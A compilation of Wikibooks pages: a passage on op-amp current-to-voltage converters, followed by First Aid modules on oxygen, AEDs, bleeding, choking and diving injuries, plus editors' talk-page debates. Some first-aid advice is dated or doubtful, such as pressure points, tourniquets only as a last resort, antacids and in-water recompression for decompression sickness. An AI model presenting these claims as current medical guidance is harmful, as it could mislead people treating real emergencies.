Output resistance. Now, connect a voltmeter in parallel to and an ammeter in series with the converter's output (Fig. 11); then, vary the load resistance (voltage) and observe the current to investigate the output resistance. Remember that in the passive version, looking from the side of the load, we were seeing two resistors connected in parallel - Re (the equivalent resistance of the input circuit) and R; so, the output resistance was ROUT = Re||R. Now, the situation is quite more interesting: when we vary the load the output voltage stays steady! The circuit behaves as a perfect voltage source with zero output resistance.

Operating range. The op-amp does all these "magics" until it can change its output voltage (i.e., until it is within the active region). When it reaches the supply rail, the op-amp saturates, the magic ceases and the almost ideal active circuit becomes again an imperfect passive one:(. Note that the passive version does not have such a problem; it is always imperfect:)

Power considerations. Although the active current-to-voltage converter is a perfect circuit, the popular multimeters do not work that way. In order to measure a current, they use the imperfect passive current-to-voltage converter instead of the almost ideal op-amp current-to-voltage converter. The reason for applying such an old-fashioned approach to current measurements is that all the input current IIN flows through the "helping" voltage source BH in the active version (Fig. 3). Therefore, the source has to be able to endure such a current. Accordingly, in the practical op-amp circuit (Fig. 4), both the power source and the op-amp have to endure the input current measured. For example, if they try to measure a current of 10A (a normal maximum current range in all purpose DVMs), they have to use a car battery as a power supply and a power "op-amp", which is able to dissipate 100W!

The active (op-amp) current-to-voltage converter is a perfect circuit; however, it is suitable only for low-current applications.

Polarities. Another difference between the two versions is that the op-amp circuit is inverting (maybe, in some cases this is an advantage).

Wikibooks
Circuit Idea (this book): Passive current-to-voltage current converter reveals the basic idea behind the passive version. Passive voltage-to-current voltage converter reveals the basic idea behind the passive version of the "mirror" circuit.

Wikipedia
Current-to-voltage converter introduces the passive and active versions of the circuit. Virtual ground scrutinizes the basic phenomenon behind the circuits with parallel negative feedback.


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text: First Aid/Advanced Topics

title: First Aid/Advanced Topics


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First Aid/Oxygen Administration

Nasal Cannula
The nasal cannula is a thin tube with two small nozzles that protrude into the victim's nostrils. It can only provide oxygen at low flow rates: 2-6 liters per minute, delivering a concentration of 28-44%. Use of the nasal cannula at higher flow rates than 6 liters per minute can cause discomfort by drying the nasal passages and pain from the force of the oxygen.

Bag-Valve-Mask
The task of administrating oxygen with bag-valve-mask (BVM) requires one hand to squeeze the bag and one to maintain a good seal with the mask. Thus, this task can advantageously be achieved by one rescuer, who will then keep their mind free and, being at the head of the victim, have a good view of the overall situation. The head of the victim can be secured between the knees of the BVM operator. The bag-valve-mask (BVM) is used for victims in critical condition who require pure oxygen. A reservoir bag is attached to a central cylindrical bag, attached to a valved mask that administers 100% concentration oxygen at 8-15LPM. The central bag is squeezed manually to ventilate the victim.

Non-rebreathing Mask
The non-rebreathing mask (NRB) is utilized for patients with multiple trauma injuries, chronic airway limitation/chronic obstructive pulmonary diseases, smoke inhalation, and carbon monoxide poisoning, or any other patient that requires high-flow oxygen, but does not require breathing assistance. It has an attached reservoir bag where oxygen fills in between breaths, and a valve that largely prevents the inhalation of room or exhaled air. This allows the administration of high concentrations of oxygen, between 65-85%. This device is set to 10-15 lpm, or at least enough to keep the reservoir inflated between breaths. Due to the poor seal on a patient's face, it is exceedingly difficult to obtain anything approaching 100% oxygen with this device. While some patients with Chronic Obstructive Pulmonary Disease (COPD) rely on what is called hypoxic drive, high flow oxygen should never be withheld from COPD patients who require it.

Pocket Mask
The pocket mask is a small device that can be carried on one's person. It is used for the same victims that the BVM is indicated for, but instead of delivering breaths by squeezing a reservoir, the first aider must actually exhale into the mask. Pocket masks normally have one-way valves built into them to protect against cross-contamination. Many masks also have an oxygen intake built-in, allowing for administration of 50-60% oxygen.

title: First Aid/Oxygen Administration


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First Aid/Automated External Defibrillation

Defibrillation is an essential part of resuscitation. Survival chances of a fibrillating victim (ventricular fibrillation or ventricular tachycardia) start at 90% if defibrillated immediately and decrease by 10% every minute. Should a victim be in cardiac arrest and require defibrillation, it is crucial that EMS is called immediately.

Defribrillation operations start by exposing the chest, and removing all metallic items American red Cross says: "■ Jewelry and body piercings: You do not need to remove jewelry and body piercings when using an AED. Leaving them on the victim does no harm. However, do not place the AED pads directly over metallic jewelry or body piercings. Adjust AED pad placement if necessary" Prior to the application of the defibrillation pads, shaving the chest of exceptionally hairy victims is advised to increase conductivity to the chest and reduce the chance of burns, though shaving the chest should only be performed if a razor is readily available and will not delay defibrillation by more than 20 seconds. It is also crucial that you remove any patches (especially medicine and nicotine) on the person's chest while wearing gloves to ensure the shock will not be interrupted by having to go through these patches. Failure to remove nicotine patches can result in a fire.

Now turn on the defibrillator unless it automatically turns on once you open it. Most AED units will give clear voice instructions; follow the prompts. Once the chest is exposed, you are to place the electrodes: one on the left side, under the arm, and the other over the right breast. The location of pad placement is clearly depicted on each pad; they must go exactly as shown in the picture. Once connected, the defibrillator will automatically start monitoring the heart's electrical activity to determine whether a shock is appropriate. Some defibrillators require the user to press an analyze button before the machine will analyze the heart rhythm. The machine will clearly talk you through all steps of the process.

CPR must be stopped while the defibrillator is monitoring the victim's heart activity. In all cases, defibrillation has priority over CPR. Do not touch the victim or the AED - if you do, you could interfere with the analysis.

If the AED advises a shock, the operator will say "I'm Clear, you're clear, we're all clear" while ensuring that the operator is not touching the victim or standing in a wet environment next to the victim that could conduct electricity through the rescuer. The AED operator is also making sure that all other people surrounding the victim are clear. The final "we are all clear" ensures a double check to ensure that everyone is away from the victim. If the victim is being given oxygen supplementation, the equipment must be removed at this point. The AED will shock the victim; the operator may be required to press a shock button. Touching the victim is potentially fatal when the shock is administrated. After the shock has been delivered, it is safe to touch the victim; no electricity will remain in them. The defibrillator will advise you what to do next - usually you'll be told to begin chest compressions and rescue breaths again.

Defibrillators can also be used for monitoring and recording purposes; a different set of electrodes is available on some defibrillators for cardiac monitoring, though most defibrillators have the cardiac monitoring located within the pads. Because cardiac monitoring (ECG) is an advanced skill, it will not be covered in this section. Should fibrillation occur when the monitoring patches are on, the defibrillator will ask the operator to change patches, though most automatically analyze the patient through the two main patches every 2 minutes or whenever the analyze button is pressed.

Note: Defibrillators are often quite graphically pictured in films and television shows. Actually, defibrillation might induce some contractions in the muscles of the patient, but in no case will the patient jump. In most television shows, the paddles are used which may make a rescuer feel apprehensive about defibrillating a patient if they believe that they have to gel the paddles then rub them together before shocking the patient. All AEDs used in the public access setting have two pre-gelled patches that are easily placed onto the patient's skin. This keeps the rescuer at a further distance from the patient during the shocking and enables the patches to stay on continuously during the resuscitation efforts.


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First Aid/D for Deadly Bleeding

Deadly Bleeding
CPR without enough blood is useless, so a check for deadly bleeding should be included in your primary survey whenever possible.

If your victim is breathing, then you should continue your primary assessment with a check for deadly bleeding.

If your victim isn't breathing, then you'll be doing CPR; a bystander or second trained first aider may be able to perform this check while you continue resuscitation.

Assessment
With gloved hands check the victim's entire body for bleeding, starting with the head. Stick your hands behind or underneath the victim and remove them, repeating this process every couple of inches until you have reached the victim's heels. If your hands are bloody when you withdraw them, then you've found bleeding. An injury on the head or neck, may indicate a spinal injury, in which case you should keep the victim's head and neck stationary. Be thorough. Blood will seek the lowest level, and a blood soaked sock could be from a knee laceration. Also, hair conceals blood surprisingly well — make sure you check the scalp thoroughly.

Treatment
The key element in treating severe bleeding is the application of firm, direct pressure to the wound, using sterile gauze or other dressing. If the wound is in a limb, raising it above the heart can help, though this should not be done if there is a risk of disturbing fractures, or if it causes much pain to the victim.

You may also consider using pressure points to control major bleeding: press down on an artery that is between the heart and the wound to slow blood from flowing to the wound. Two easily found ones are on the underside of the bicep area, and the underside of the thigh area of the leg.

Tourniquets may also be useful in controlling massive bleeding such as an amputation. This is not a standard procedure and should only be used as an ABSOLUTE last resort when the victim will die without it. Also, once a tourniquet is applied, it is only removed by a physician.

title: First Aid/D for Deadly Bleeding


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First Aid/Appendix C: Sources

Journals

 * The 2005 standards from ILCOR in Circulation
 * The 2005 standards from ILCOR in Resuscitation
 * The 2005 standards from AHA in Circulation

Legislation & Government regulations

 * Good Samaritan Act, S.O. 2001, c. 2
 * First Aid Requirements, R.R.O. 1990, Reg. 1101

First Aid Training Organizations

 * National Guidelines for First Aid Training in Occupational Settings | PDF
 * Mayo Clinic: First Aid & Self Care
 * Lifesaving Society | PDF
 * American Heart Association | PDF

Other

 * Tick removal section initially based on public domain text from the US military.
 * Lyme Disease Foundation recommends the same procedure
 * Evaluation of Three Commercial Tick Removal Tools describes several folk remedies that are useless, and a few tools that are slightly better than tweezers.
 * National Highway Traffic Safety Administration | First Responder: National Standard Curriculum PDF
 * First Aid Basic
 * eMedicine: Wilderness and Travel Medicine
 * What to put in your medical Kit
 * Expedition Medical Kits
 * A free transparent reality simulation of the self-inflating manual resuscitator (Ambu bag)
 * ERC CPR protocols in PDF format
 * How to Use an EpiPen

title: First Aid/Appendix C: Sources


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Talk:Analogue Electronics/pn Junctions

I would like to know more about this statement because this is never said in any of the textbooks that I refer to on this subject: "If the external potential is greater than the intenal potnetial, the barrier is reversed, and electronis and holes con flow virtually unimpeded through the junction - once the barrier voltage is exceeded, a very large current can flow." I am intrigued by the statement that the potential barrier is reversed.

Sridhar Chitta Assoc Professor and Head of the Department Electronics and Instrumentation Engg Vignan Institute of Tech and Science Deshmukhi, Nalgonda distt Hyderabad 508284 email: sridhar10chitta@yahoo.com

title: Talk:Analogue Electronics/pn Junctions


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First Aid/Obstructed Airway

Conscious Victims
A person may be choking if:
 * they are desperately grabbing at their neck
 * they cannot speak or cry out
 * their face turns blue from lack of oxygen

The initial action if you suspect choking is to clearly ask the victim "Are you choking?"

If the victim can reply verbally, you should not undertake any physical contact, but do encourage the victim to cough.

Treatment for adults and children

 * 1) Encourage the victim to cough - some victims are in so much panic they require encouragement to cough.
 * 2) Deliver up to 5 hard blows with the heel of your hand to the centre of the victims back between the shoulder blades.
 * 3) If the object has still not been removed, and the victim is still choking, you should perform up to five abdominal thrusts.
 * 4) * The rescuer stands behind and to the side of the victim and wraps their arms around the victim's sides, underneath the victim's arms.
 * 5) * One hand is made into a fist and placed, thumb side in, flat against the victim's upper abdomen, below the ribs but above the navel.
 * 6) * The other hand grabs the fist and directs it in a series of upward thrusts until the object obstructing the airway is expelled.
 * 7) * The thrusts should not compress or restrict the ribcage in any way.
 * 8) * If you're not able to compress the victim's diaphragm due to their size or pregnancy, then perform the thrusts at the chest.
 * 9) Continue a cycle of back blows and abdominal thrusts until the blockage is removed, or the victim becomes unconscious (see below for action when unconscious).

Note that even when performed correctly, abdominal thrusts can injure the person they are performed on, and so should always be used as a last resort after encouragement to cough and back blows. Abdominal thrusts should never be performed on someone who can still cough, breathe, or speak - encourage them to cough instead.

If the victim loses consciousness, call for an ambulance. They fall - you call

Obstructed Airway for Infants
For infants, a severe obstruction may be accompanied by a high-pitched, crow-like sound which is not present in adults or children. This is due to the incomplete formation of the infant's airway. Instead of abdominal thrusts, alternate 5 chest thrusts with 5 back blows:

 * 1) Hold the infant with the head in your hand, and the spine along your forearm and the head below the rest of the body.
 * 2) Compress the chest 5 times as you would for infant CPR.
 * 3) Switch the infant to your other forearm, so their chest is now against the arm.
 * 4) Perform 5 back blows, keeping the infant's head below the rest of the body.
 * 5) Continue until the obstruction is cleared, or the infant goes unconscious.

Unconscious Victims
Send a bystander to activate the Emergency Medical System if possible.
 * Rescuers alone with an adult victim should call an ambulance immediately.
 * Rescuers alone with a child or infant victim should first perform about 2 minutes of CPR and then call an ambulance.

Commence a primary assessment, starting with Airway.

It is highly likely that the patient will not be breathing if they are unconscious as a result of airway obstruction, so you should be prepared to commence CPR if this is the case. You should continue to attempt to put breaths in to the patient, even if they appear to not be reaching the lungs.

title: First Aid/Obstructed Airway


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Talk:First Aid/Emergency First Aid & Initial Action Steps

BLS Chapter
In my opinion, D for Deadly bleeding has no real place here in a chapter fundamentally about resucitation. It would be far better to cover D for Defribrillation here - even if it's only about how to work with someone operating a defibrillator and a seperate chapter later for how to actually use (although i'd prefer to cover it all here).

Leave bleeding in it's own place. In reality nobody is likely to come to the section on resus to find a section on bleeding. Let's move it.

I've also moved AVPU here (as part of the larger mnemonic) as its very imporatnt to knwo how to check response before commencing ABC checks.

Owain.davies 14:31, 3 July 2007 (UTC)

 * The point is that Deadly bleeding is an ABC emergency. If you're a lone rescuer it might not make a difference since you'll be busy doing CPR, but a wet check should definitely be done as a precursor to the head-to-toe of a secondary survey if you have access to a bystander or another trained rescuer. As for treatment of deadly bleeding, I'm fine to move it over to First Aid/External Bleeding. Getting an AED (and AED-trained responder)? That's part of calling EMS. When you do one, you do the other. That's why I proposed the above changes. – Mike.lifeguard | talk 13:57, 5 July 2007 (UTC)

Here i think that Defibrillation is definately the priority over bleeding, so probably deserves the space more. Especially as AED now forms part of many standard first aid courses.

 * It does get priority over bleeding - that's why getting an AED comes before Deadly bleeding. Compressions also take priority over Deadly bleeding. Perhaps that should be made more clear, but that's what's intended there. If you want operation of the AED to take the priority over CPR (as is proper), then that should be included in First Aid/Automated External Defibrillation and reinforced in First Aid/C for Compressions.
 * Getting an AED is already included in Ambulance (which still needs to be created). Getting an AED is part of that step. Operation of AEDs is not part of Standard first aid, but is included as an advanced topic here. As for putting "get an AED" into D for Defib... that's not where it should happen in the sequence of things - it's at the same time as activating EMS.
 * Area (hazards, MOI, barriers...)
 * Awake (LOC)
 * Ambulance (get EMS and an AED)
 * Airway
 * Breathing
 * Compressions (getting an AED comes earlier; deadly bleeding comes later; using the AED takes priority over BLS)
 * Deadly bleeding (AED has already been summoned. Putting it here is out-of-order. Operation of an AED is covered elsewhere, and is not part of BLS.

 * – Mike.lifeguard | talk 21:23, 5 July 2007 (UTC)

 * I think that AED is now so firmly routed in BLS (it's part of most basic courses over here now) that it should be part of the basic protocols, rather than deadly bleeding. I'd even go so far as to move the AED operation up to BLS section.  I'm not sure its responsible to bring deadly bleeding in to the BLS protocol for first aiders lest they neglect the important parts.  In terms of EMS treatment, we are going to resus and defib first then look for the Hs and Ts (which includes 'deadly bleeding' as Hypovolaemia).  Thinking about that, deadly bleeding is only one of 15 reversible causes of cardiac arrest, and in honesty probably the one with the lowest chance of survival (trauma related cardiac arrest ROSC rates are a tiny fraction of 1%, far lower than the other causes)  It seems strange to give it such prominence when its unlikely to help. Owain.davies 06:13, 6 July 2007 (UTC)

 * It's more likely to help than nothing, which is what you're proposing. Someone trained in CPR but not AED (which, unfortunately, is more likely than having both) should be doing defib? No! If they're not trained to use an AED then they're not going to be using an AED! So what would have them do? Nothing seems like a bad idea, and this sounds at least marginally better.
 * For rescuers with AED training on top of their CPR, they'll obtain an AED in Ambulance (again, this section doesn't exist because my proposal hasn't been adopted) and then use it (the operation of defib is an advanced topic, and is located there).
 * Feel free to make it clearer that defib takes priority, but putting a skill requiring additional training with a skill that doesn't is not ok.  – Mike.lifeguard  | talk 20:03, 15 July 2007 (UTC)

 * I can agree with Mike here, only rescuers trained in using an AED should use one. I did make the point about it being easy, but the stresses of using an AED to shock someone may be too much for someone who isn't trained in it. --Nugger 00:30, 16 July 2007 (UTC)

Ambulance before Airway - Disagree
You shouldn't call an ambulance before checking airway and breathing as the call may be incorrectly categorised at the control centre.

The correct procedure is:

 * Check response
 * If Unresponsive then call for help ("Help! Help!")
 * Check Airway
 * Check Breathing
 * NOW summon ambulance ("patient not breathing")

This avoids calls being passed as 'Unconscious' when it should be passed as "Not Breathing" and ensures that the most timely resposne it recieved. It is best practice to give the 15 seconds maximum to ascertain this important fact, which avoids a potentially more deadly delay of having a call misgraded.

We should stick to this protocol at all times, to avoid the risk of badly passed calls

Owain.davies 14:36, 3 July 2007 (UTC)

 * ILCOR disagrees:
 * And so does the Lifesaving Society: PDF
 * And so does the AHA: PDF
 * I hate to bring it up again, but notice that ILCOR and the AHA both use 'victim' primarily (I'll leave out the LSS since you think they're biased towards doing that anyway), and 'patient' for sections directed towards healthcare providers. – Mike.lifeguard | talk 13:52, 5 July 2007 (UTC)

Fair enough, i'll give you that one. As to victim, you probably can be a victim of a heart attack, but still not of a cut finger!... Owain.davies 16:02, 5 July 2007 (UTC)

 * I'm fine to alternate between victim and patient just as the 3 organizations above do... victim for most stuff, and patient/casualty in First Aid/Advanced Topics. Using patient for everything is not ok though. – Mike.lifeguard | talk 20:30, 5 July 2007 (UTC)

Using alpha-echo, a delta unconscious is lights and sirens just like an echo cardiac arrest is. Only thing different is that you might run to the truck for an echo and drive a wee bit faster for a cardiac arrest. Once the dispatcher beings collecting the information, she can always advise EMS to upgrade to a cardiac/respiratory arrest. Mike6271 02:54, 6 July 2007 (UTC)

 * I've found it! - The ILCOR protocol is NOT to call for EMS until you have assessed breathing, although you should shout for help when you see they are unconscious - which is what i said originally. I will consequently change this information around.  This is shown at Part I: Introduction of the ILCOR protocol, under "The Universal Algorithm".

 * What if they are breathing... Do they still require EMS? Yes. So? Call earlier - that's the foundation of the chain of survival: early access.  – Mike.lifeguard  | talk 20:05, 15 July 2007 (UTC)

 * Allow me to throw another wrench in here, but don't forget about children and infants when you do make the change as they require immediate assistance if you're alone. (I know it's stated somewhere but just a friendly reminder.) --Nugger 00:21, 16 July 2007 (UTC)

 * Mike- you can't be so sanctimonious about following ILCOR protocols throughout, and then just ignore one the most fundamental parts, just because it doesn't suit your preferred protocol! The link I posted above from ILCOR unambiguously states that calling the ambulance comes after airway and breathing - we either follow it all (and i'm happy to relent on the breathing issue because that is their guideline) or we follow none of it, and turn this in to a bun fight over regional variations.  I say we follow the ILCOR guidelines to the letter, which will make this book unambiguous and clear. (this will also mean changing things like D for defibrillation, which ILCOR list as a BLS skill.  Owain.davies 17:05, 16 July 2007 (UTC)

 * I'll have to agree with Owain on this one, although Mike posted a link from the AHA which stated "An Immediate call to 9-1-1" it didn't specify WHO had to call 9-1-1. ILCOR states that YOU should "shout for help" then assess breathing. A patient who is dead from a blocked airway won't appreciate your immediate 9-1-1 call. But a person who may be able to breathe from a simple head tilt will thank you later. 9-1-1 can be called by ANYONE, it doesn't have to be the rescuer.--Nugger 03:24, 5 August 2007 (UTC)

AVPU or ALVPU
I know that Owain.davies (who is mostly responsible for writing this module) only uses a four-point scale for assessing consciousness, but I use a 5-point scale. The module as it currently stands explains why I use an additional level of consciousness: Lowered.

Under "Alert" it says "The victim looks at you spontaneously, can communicate (even if it doesn't make sense) and seems to have control of their body." In the 5-point scale, Alert is for victims who make coherent sentences, can communicate effectively and have no issues with responsiveness. Lowered covers those victims who take longer to respond, have heavy eyelids because they feel tired, they may have shaky hands due to shock or an "adrenaline rush."

I think the 5-point scale is more accurate than the 4-point, particularly because the grey area referred to here deals with those people who fall into the Lowered category. I find that tying those 2 concepts together helps candidates make better judgment calls when dealing with issues of implied consent that aren't straightforward.

Keep 4 levels or introduce the 5th?  – Mike.lifeguard  | talk 02:00, 16 July 2007 (UTC)

 * This is a primary assessment, and LOC comes later. AVPU is also recognised worldwide, with numberous published papers i can give you links to (or just google it if you feel like it), whereas ALVPU seems to be a variation.  I can see why you use it, but i don't think its relevant here. Owain.davies 16:58, 16 July 2007 (UTC)

 * AVPU is the international scale for responsiveness. Descriptions of how alert a person is are given later in the reports.--Nugger 03:26, 5 August 2007 (UTC)

AAA vs GO DR SHAVPU
I don't see how you AAA system is an improvement on the GO DR SHAVPU system I laid down for initial assessments. Whilst your system does have an alliterative advantage in initial memory making, it is actually harder because it relies on the rescuer remembering a whole sub-set of parts which make up the As, whereas the GO DR SHAVPU system is far more comprehensive. Also, as I said the ILCOR guidelines state that ambulance comes after airway and breathing - read your own posted link!!!! Owain.davies 17:01, 16 July 2007 (UTC)

 * Please don't yell at me. I've copied the relevant text; feel free to change the module to match this:

 *  – Mike.lifeguard  | talk 01:56, 17 July 2007 (UTC)

 * Yes your memory aid is comprehensive, but I can't see teaching any kid to remember that successfully. AAAABC works very well for me. If you'd like to include both, let's remove memory aids from the text proper, and include them in a textbox for memory aids. I can create another template similar to these for memory aids. I think if we do that throughout the text it might alleviate a lot of the bickering.  – Mike.lifeguard  | talk 19:54, 16 July 2007 (UTC)

 * Of course, this book is not 'First aid for kids'. First aid for kids is something I only teach occasionally, and you're right, i wouldn't do GO Dr SHAVPU with them, and it that case i would emphasise calling EMS more highly, because they are likely to be more efficient doing that than attempting to treat, but most competent adult rescuers can understand and remember the GO DR.  Maybe a separate 'First aid for kids' book is not a bad idea though.  As per my other discussion with you, i have reread the ILCOR document in detail, and still believe that ambulance comes after airway and breathing. Owain.davies 06:42, 17 July 2007 (UTC)

 * My point is that this textbook should be useful for any first aid or CPR course, and the advanced topics chapter should be useful for the appropriate courses. First aid doesn't have an age prerequisite, so why shouldn't a 12-year old take standard first aid? I do community CPR courses all the time, and I suspect that even adults are going to prefer AAAABC because they'll be able to remember it.
 * I think using AAA as an organizational method for the text of this module and highlighting GO DR SHAVPU in a box to the side would be most effective though. AAA creates a very nice section hierarchy that your mnemonic doesn't. And (according to you, though I don't agree), GO DR SHAVPU is a wonderful memory aid that your candidates will remember forever, so let's give it a box to the side to give it more prominence.
 * Please read my reply here regarding EMS and AED in the CoSTR.  – Mike.lifeguard  | talk 14:36, 17 July 2007 (UTC)

 * Which is all very well, but having ambulance in there is still in contravention of the ILCOR protocol. Owain.davies 17:22, 17 July 2007 (UTC)


text:
First Aid/Pressure-Related Illness & Injury

Pressure-Related Illness & Injury
Divers and swimmers alike must avoid injuries caused by changes in air pressure. The weight of the water column above the diver causes an increase in air pressure in any compressible material (wetsuit, lungs, sinus) in proportion to depth, in the same way that atmospheric air causes a pressure of 14.7 lbs per square inch at sea level. These pressure injuries & illnesses are most common in divers, but some can affect skin divers (snorkelers) or swimmers.

Treatment

 * Call EMS.
 * Monitor ABCs and vitals.
 * Raise the victim's legs and feet if possible.
 * If there are bubbles present in the bloodstream, this will help keep them from the internal organs. Bubbles tend to travel up - away from the brain (preventing stroke) and heart (preventing heart attack).

 * Recompression may be required; tell EMS that the situation involves a pressure-related injury or illness.
 * If you are trained in oxygen administration and have the appropriate equipment, administer high-flow O2.

Decompression Sickness (the Bends)
As divers ascend, the pressure the water column exerts on them decreases, which decreases the solubility of gasses. Those gases will no longer stay dissolved in the bloodstream, and escape at a maximum rate. If the ascent is faster than the rate that the gases can escape from the bloodstream is, then the gases form bubbles. The location of these bubbles determines what type of decompression sickness develops; if the bubbles form in the lungs, then air embolism develops.

Recognition
Bubbles can form anywhere in the body, but symptomatic sensation is most frequently observed in the shoulders, elbows, knees, and ankles.

This table gives symptoms for the different DCS types.
 * The "bends" (joint pain) accounts for about 60 to 70 percent of all altitude DCS cases, with the shoulder being the most common site. These types are classified medically as DCS I.
 * Neurological symptoms are present in 10 to 15 percent of all DCS cases with headache and visual disturbances the most common. DCS cases with neurological symptoms are generally classified as DCS II.
 * The "chokes" are rare and occur in less than two-percent of all DCS cases.
 * Skin manifestations are present in about 10 to 15 percent of all DCS cases.

Oxygen Toxicity
Oxygen toxicity occurs when oxygen in the body exceeds a safe level.

Recognition

 * Dizziness
 * Nausea and twitching, especially on the face
 * Seizures
 * Unconscioussness

Air Embolism
As divers ascend, the pressure the water column exerts on them decreases, which decreases the solubility of gasses. Those gases will no longer stay dissolved in the bloodstream, and escape at a maximum rate. If the ascent is faster than the rate that the gases can escape from the bloodstream is, then the gases form bubbles. The location of these bubbles determines what type of decompression sickness develops; if the bubbles form in the lungs, then air embolism develops.

Air embolism can also develop when a diver receives pressure damage to their lungs following a rapid ascent where the breath is inappropriately held against a closed glottis, allowing pressure to build up inside the lungs, relative to the blood. The gas bubbles can impede the flow of oxygen-rich blood to the brain and vital organs. They can also cause clots to form in blood vessels.

Gas embolism and decompression sickness (DCS) may be difficult to distinguish, as they may have similar symptoms, especially in the central nervous system. The treatment for both is the same, because they are both the result of gas bubbles in the body.

Shallow-Water Blackout

Shallow water blackout is loss of consciousness caused by lack of oxygen in the blood towards the end of a breath-hold dive in shallow water, when the swimmer does not necessarily experience an urgent need to breathe and has no other obvious medical condition that might have caused it.

The urge to breathe (more precisely: to exhale) is triggered by rising carbon dioxide (CO2) levels in the bloodstream. Hyperventilation artificially depletes these, causing a low blood carbon dioxide condition called hypocapnia. Hypocapnia reduces the reflexive respiratory drive, allows the delay of breathing and leaves the diver susceptible to loss of consciousness from hypoxia.


text:
Talk:First Aid/What needs to be done?

Feel free to move things around as tasks get completed. Mike.lifeguard 18:49, 30 June 2007 (UTC)

Finding useful content
Links to useful content are here. Please be careful when adding content from within Wikibooks; lots of it is out-of-date and/or non-standard. Check the date on sources - standards change, so use the most recent set. Mike.lifeguard 18:57, 30 June 2007 (UTC)

title: Talk:First Aid/What needs to be done?


text:
First Aid/What needs to be done?

Feel free to move things around as tasks get completed

Fleshing-out

 * First Aid/Critical Incident Stress & Victim Death
 * First Aid/Wilderness First Aid
 * First Aid/Chest & Abdominal Injuries
 * First Aid/Appendix D: Notes for First Aid Instructors (this is low-priority)
 * First Aid/Manual of Style
 * First Aid/Marine First Aid
 * First Aid/Poisoning
 * First Aid/Non-Survivable Injuries

Don't exist yet

 * First Aid/Weapon-Induced Injuries

Also

 * 1) Invite more people to contribute
 * 2) Expand First Aid/Appendix B: Behind the Scenes
 * 3) Use these templates to spruce up the book
 * 4) Use development stages to indicate which modules need expansion
 * 5) Please keep Sources up-to-date. If you use a source, put it there.
 * 6) All pages for first aid (i.e. not CPR or "concept" pages, but actual first aid content pages) need a common organization system:
 * 7) * Introduction: (what it is, how it happens, what's going on physiologically)
 * 8) * Recognition: Signs & Symptoms (including notes about how to differentiate it from other things with similar S&S)
 * 9) * Treatment: (including treatment priorities and don'ts)

Requested Input
These issues are currently being actively discussed, and we'd love to have your input:
 * Talk:First Aid
 * Do we want to keep the disclaimers on First Aid? – Mike.lifeguard  | talk 05:20, 22 November 2007 (UTC)
 * Not kept – Mike.lifeguard  | talk 22:06, 28 November 2007 (UTC)

 * Featured books/Nominations
 * First Aid has been nominated for Featured Book status! – Mike.lifeguard  | talk 05:20, 22 November 2007 (UTC)

 * Talk:First Aid/Life-Threatening Medical Emergencies
 * Whether to keep the Life-Threatening Medical Emergencies module or not
 * Not kept – Mike.lifeguard  | talk 23:39, 4 November 2007 (UTC)

 * Talk:First Aid/Oxygen Administration
 * Whether to keep the oxygen admin module or not
 * Kept – Mike.lifeguard  | talk 23:39, 4 November 2007 (UTC)

 * Talk:First Aid/Emergency First Aid & Initial Action Steps
 * Whether to keep the 4-point scale, or move to a 5-point scale
 * 4-pt scale seems standard – Mike.lifeguard  | talk 23:39, 4 November 2007 (UTC)

 * Talk:First Aid
 * A proposal to re-organize the BLS chapter to match First Aid/CPR summary

 * Talk:First Aid
 * Whether we want to include it at all, and if so, where?
 * Not included; content remains on the talk page for future use elsewhere – Mike.lifeguard  | talk 23:39, 4 November 2007 (UTC)

 * Talk:First Aid/Emergency First Aid & Initial Action Steps
 * Where AEDs fit into this book: BLS or advanced skill?
 * AED use is an advanced skill; Basic AED knowledge is included throughout – Mike.lifeguard  | talk 23:39, 4 November 2007 (UTC)

 * Talk:First Aid/Emergency First Aid & Initial Action Steps
 * Call EMS first, or open airway and check breathing, then call EMS?

 * Talk:First Aid/Emergency First Aid & Initial Action Steps
 * Which, if any mnemonic should be used? Perhaps using AAA as a structural organization and GODRSHAVPU as a mnemonic would be best?
 * This was done – Mike.lifeguard  | talk 23:39, 4 November 2007 (UTC)

 * Talk:First Aid/B for Breathing
 * What does ILCOR actually say about when to call EMS, AED's role in BLS and the number of initial rescue breaths?

 * Talk:First Aid/C for Compressions
 * AEDs again
 * see above – Mike.lifeguard  | talk 23:39, 4 November 2007 (UTC)

 * Talk:First Aid/Extended Assessment
 * Whether to keep the extended assessment module
 * Kept – Mike.lifeguard  | talk 23:39, 4 November 2007 (UTC)

 * Talk:First Aid
 * We reached consensus on this one, and I already made the changes.
 * We're using victim for everything except in Advanced Topics, where we'll have the option of using patient.  – Mike.lifeguard  | talk 02:09, 16 July 2007 (UTC)

title: First Aid/What needs to be done?


text:
First Aid/Marine First Aid

Decompression sickness
Decompression sickness (DCS), also known as the bends or diver's sickness is a severe medical condition where arterial gas fails to repressurize properly, forming bubbles in the blood vessels. While commonly associated with surfacing too rapidly while diving, it can occur in any rapid change from a high pressure to a low pressure environment. If not treated promptly, decompression sickness is fatal.

Treatment
Multiple treatments are used for DCS. The moment DCS is suspected, emergency medical assistance should be summoned. The success and survival rates for treatments drop as time goes on. Remove the patient from the water, but do not use the Trendelenberg position (supine, feet above head). Administer antacids to the patient and oxygen if available. Follow any further instructions from medical personnel to the letter. When emergency personnel arrive, it is important that all dive gear are transported with the patient as they may indicate the reason for DCS, and consequently the appropriate treatment.

DCS treatment consists of provision of oxygen and recompression to remedy the gas imbalance. When medical care is not available, use of oxygen may clear up mild to moderate cases of DCS. Even if symptoms disappear, the patient still requires medical attention at the earliest opportunity because lack of symptoms does not indicate that the situation is resolved. In an aquatic environment where the patient will not reach medical care in time, recompression can be achieved as a last resort though reentry into the water. Where there is another option, this treatment is always discouraged due to the extreme risk involved. Suit the patient and another diver up and have them enter the water. Whenever possible, follow a recompression table. If none is available, proceed to the depth where the patient left the dive table and continue to follow the table. There are no second chances, because failure to adhere to the table as written most likely will kill or cause permanent damage to the patient and may cause DCS in the caregiver.

Assessment and Treatment
Many a fisherman has felt the pain associated with stabbing an extremity with a fish hook. Thankfully, these wounds are generally not dangerous when properly treated. In all cases, proper treatment is crucial due to the potential side effects of the unclean metal.

